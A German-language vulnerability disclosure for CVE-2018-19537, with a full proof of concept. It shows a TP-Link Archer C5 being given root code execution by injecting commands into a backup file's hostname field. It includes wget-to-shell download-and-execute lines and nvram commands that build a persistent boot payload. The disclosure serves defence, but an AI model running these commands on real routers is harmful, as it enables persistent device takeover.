
CVE-2018-19537
In allen veröffentlichten Firmware-Versionen für den TP-Link Archer C5 Router existiert eine Schwachstelle, die eine authentifizierte Remote-Codeausführung (RCE) ermöglicht. Durch das Hochladen einer manipulierten Konfigurationsdatei kann ein Angreifer OS-Befehle einschleusen, die mit Root-Rechten ausgeführt werden.
Der Archer C5 Router erlaubt Administratoren, aktuelle Konfigurationsparameter in eine Datei zu speichern und Parameter aus einer Datei wiederherzustellen.
Diese Parameter scheinen ordnungsgemäß bereinigt zu werden, wenn ein Benutzer versucht, sie über die Weboberfläche zu setzen.
Allerdings werden sie nicht ordnungsgemäß bereinigt, wenn sie aus einer Konfigurationsdatei gesetzt werden.
Insbesondere haben wir OS-Befehle über den Parameter wan_dyn_hostname 1 <name> in der hochgeladenen Konfigurationsdatei injiziert.
Andere Parameter könnten ebenfalls angreifbar sein.
Eine gültige Konfigurationsdatei kann über das Menü „Backup & Restore“ in der Weboberfläche des Routers heruntergeladen werden. Die folgende HTTP-Anfrage lädt ein Backup der aktuellen Router-Konfiguration herunter:
GET /userRpm/config.bin HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux ia64; rv:60.0) Foxfire/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/userRpm/BakNRestoreRpm.htm
Cookie: Authorization=Basic%20YWRtaW46cGFzc3dvcmQ%3D
Connection: close
Upgrade-Insecure-Requests: 1
Die Antwort enthält die Datei „config.bin“, die Konfigurationsdatei, mit der wir manipulieren werden.
Konfigurationsdateien werden durch DES-Verschlüsselung mit einem fest codierten Schlüssel verschleiert. Dieser fest codierte Schlüssel scheint bei mehreren TP-Link-Produkten wiederverwendet zu werden. Dank an Matteo Croce für die Entdeckung dieses fest codierten Schlüsselwerts. http://teknoraver.net/software/hacks/tplink/
Zwei einfache Python-Skripte sind beigefügt, um Konfigurationsdateien zu verschlüsseln und zu entschlüsseln – „binify.py“ bzw. „unbinify.py“. Eine entschlüsselte Konfigurationsdatei enthält Parameter wie diese:
wan_dns_auto 2 0
wan_dyn_mtu 1 1500
wan_dyn_mtu 2 0
wan_dyn_ucst 1 0
wan_dyn_ucst 2 0
wan_dyn_hostname 1 Archer_C5
wan_stc_ip 1 0.0.0.0
wan_stc_ip 2 0.0.0.0
wan_stc_msk 1 0.0.0.0
Wir können diese entschlüsselte Konfigurationsdatei manipulieren, indem wir dem Parameter „wan_dyn_hostname“ einen bösartigen BusyBox-Befehl hinzufügen, wie folgt:
wan_dyn_hostname 1 `wget -O - http://bad.url/hack | /bin/sh`
Anschließend verschlüsseln wir die neue bösartige Konfigurationsdatei und laden sie über die Weboberfläche hoch. Der Router startet automatisch neu. Früh im Bootvorgang, wenn das httpd-Programm ausgeführt wird, wird unser bösartiger BusyBox-Befehl ausgeführt. Der Pseudocode des relevanten Teils von httpd sieht etwa so aus:
char hostname[64];
char to_run[256];
memcpy(hostname, some_value_somewhere, 63);
snprintf(to_run, 256, "udhcpc -h %s -i eth0", hostname)
system(to_run);
// Continue setting up network interfaces and connectivity
Es gibt mehrere Einschränkungen bei diesem Exploit, über die Einschränkung hinaus, BusyBox verwenden zu müssen. Der Dropbear-SSH-Server und telnetd scheinen über das WLAN nicht zu funktionieren, und der Hostname ist durch die Firmware auf 63 Zeichen begrenzt. Das Überschreiten dieser Grenze überschreibt andere Einstellungen und unterbricht den Internetzugang. Außerdem muss httpd aus dem system()-Aufruf zurückkehren, bevor es tatsächlich Netzwerkkonnektivität hat (da der system()-Aufruf, den wir ausnutzen, derjenige ist, der unsere WAN-IP anfordert), und das Root-Dateisystem ist schreibgeschützt. Das obige Beispiel eines bösartigen Befehls würde nicht funktionieren; httpd würde die wget-URL nicht herunterladen können, da es noch keinen Internetzugang hat, es würde aus dem system()-Aufruf zurückkehren und dann normal weiterarbeiten.
An diesem Punkt können wir also einen 63 Zeichen langen BusyBox-Befehl auf einem schreibgeschützten Dateisystem ausführen, ohne eine triviale Möglichkeit, das Programm warten zu lassen, bis es die Netzwerkkonnektivität hergestellt hat, bevor es unseren Befehl ausführt. Wir können ihm nicht einfach sagen, dass er ein paar Minuten schlafen und dann ausführen soll, da der system()-Aufruf, in den wir injizieren, blockierend ist.
Eine Sache, die wir jedoch tun können, ist, zu diesem Zeitpunkt der Ausführung eine weitere Instanz von httpd zu starten. Diese Instanz von httpd wird ebenfalls diesen system()-Aufruf ausführen, was uns in einer Schleife hält, die kontinuierlich weitere httpd-Instanzen erzeugt, aber den übergeordneten httpd-Prozessen erlaubt, weiter ausgeführt zu werden und letztendlich die Netzwerkkonnektivität wiederherzustellen. Um Speichermangel zu vermeiden, beenden wir diese Schleife, indem wir überprüfen, ob unser Exploit heruntergeladen wurde.
Unter Berücksichtigung der obigen Einschränkungen haben wir das folgende Shell-Skript entwickelt, das eine Datei aus dem Internet mit wget abruft und direkt an /bin/sh weiterleitet.
cd /tmp
if [ ! -f B ]; then
httpd &
sleep 15
wget http://jackdoan.com/B
/bin/sh B
fi
Oder in einer Zeile, minimiert:
cd /tmp; if [ ! -f B ]; then (httpd & sleep 15; wget http://jackdoan.com/B; /bin/sh B) fi
Dieses Skript hat unglaubliche 89 Zeichen, also müssen wir es in Teilen hochladen. Aber wie? Das Hochladen eines Befehls führt zu einem Neustart, und ein Neustart aktualisiert den Zustand des Routers. Wir haben erkannt, dass wir unsere eigene NVRAM-Variable erstellen und in nachfolgenden Befehlen darauf verweisen können, um einen Befehl aufzubauen, den wir schließlich ausführen.
Wir haben die Schwachstelle genutzt, um die folgenden Befehle zu injizieren und einen Exploit aufzubauen:
; nvram set "a=cd /tmp; if [ ! -f B ]; then (htt";nvram commit
; nvram set "a=`nvram get a`pd & sleep 15; wget";nvram commit
; nvram set "a=`nvram get a` http://jackdoan.co";nvram commit
; nvram set "a=`nvram get a`m/B; /bin/sh B) fi"; nvram commit
Und schließlich den Exploit auslösen, indem der Hostname auf Folgendes gesetzt wird:
; udhcpc; nvram get a | /bin/sh ;
Dieses im NVRAM des Routers gespeicherte Skript wird bei jedem Start ausgeführt, und der Router scheint normal weiterzuarbeiten. Das Endergebnis ist, dass der Router bei jedem Start ins Internet geht, eine Datei herunterlädt und als Root ausführt.
Wie gezeigt, kann diese Schwachstelle ausgenutzt werden, um den Router ins Internet greifen zu lassen, eine Payload abzurufen und mit Root-Rechten auszuführen. Daher hat sie hohe Auswirkungen auf Vertraulichkeit, Integrität und Verfügbarkeit des Geräts.
Der Vorgang des Injizierens eines Befehls über den Parameter wan_dyn_hostname der Konfigurationsdatei ist einfach. Das Überwinden der Einschränkungen dieses Befehls, um eine beliebige Payload auszuführen, ohne die normale Router-Funktionalität zu stören, ist mäßig komplex.
Dieser Angriff ist mäßig sichtbar, da er mindestens einen Neustart des Geräts erfordert. Unser PoC erfordert 5 aufeinanderfolgende Neustarts, bleibt aber bestehen, bis das Gerät auf Werkseinstellungen zurückgesetzt wird.
Diese Schwachstelle kann von jedem ausgenutzt werden, der Zugriff auf das Web-Admin-Konto hat. Bei der Standardkonfiguration des Routers kann dies also über LAN/WLAN mit den Standard-Admin-Anmeldedaten „admin:admin“ ausgenutzt werden. Diese Schwachstelle kann aus der Ferne über das Internet ausgenutzt werden, falls die Fernverwaltung aktiviert ist. Die Fernverwaltung ist standardmäßig deaktiviert.
Diese Schwachstelle ist relativ einfach, was uns zu der Annahme führt, dass sie wahrscheinlich bereits gefunden und ausgenutzt wurde. Die Abwehr gegen diesen Angriff ist ebenfalls unglaublich einfach: Verwenden Sie nicht das Standard-Admin-Passwort. Ein starkes Passwort für das Web-Admin-Konto verhindert diesen Angriff. Da er so einfach auszunutzen und auch so einfach zu entschärfen ist, glauben wir, dass eine vollständige Offenlegung im öffentlichen Interesse ist.
Für unseren PoC haben wir über den Parameter „wan_dyn_hostname“ injiziert. Die Konfigurationsdatei enthält jedoch insgesamt 1190 Parameter, von denen viele möglicherweise injizierbar sind.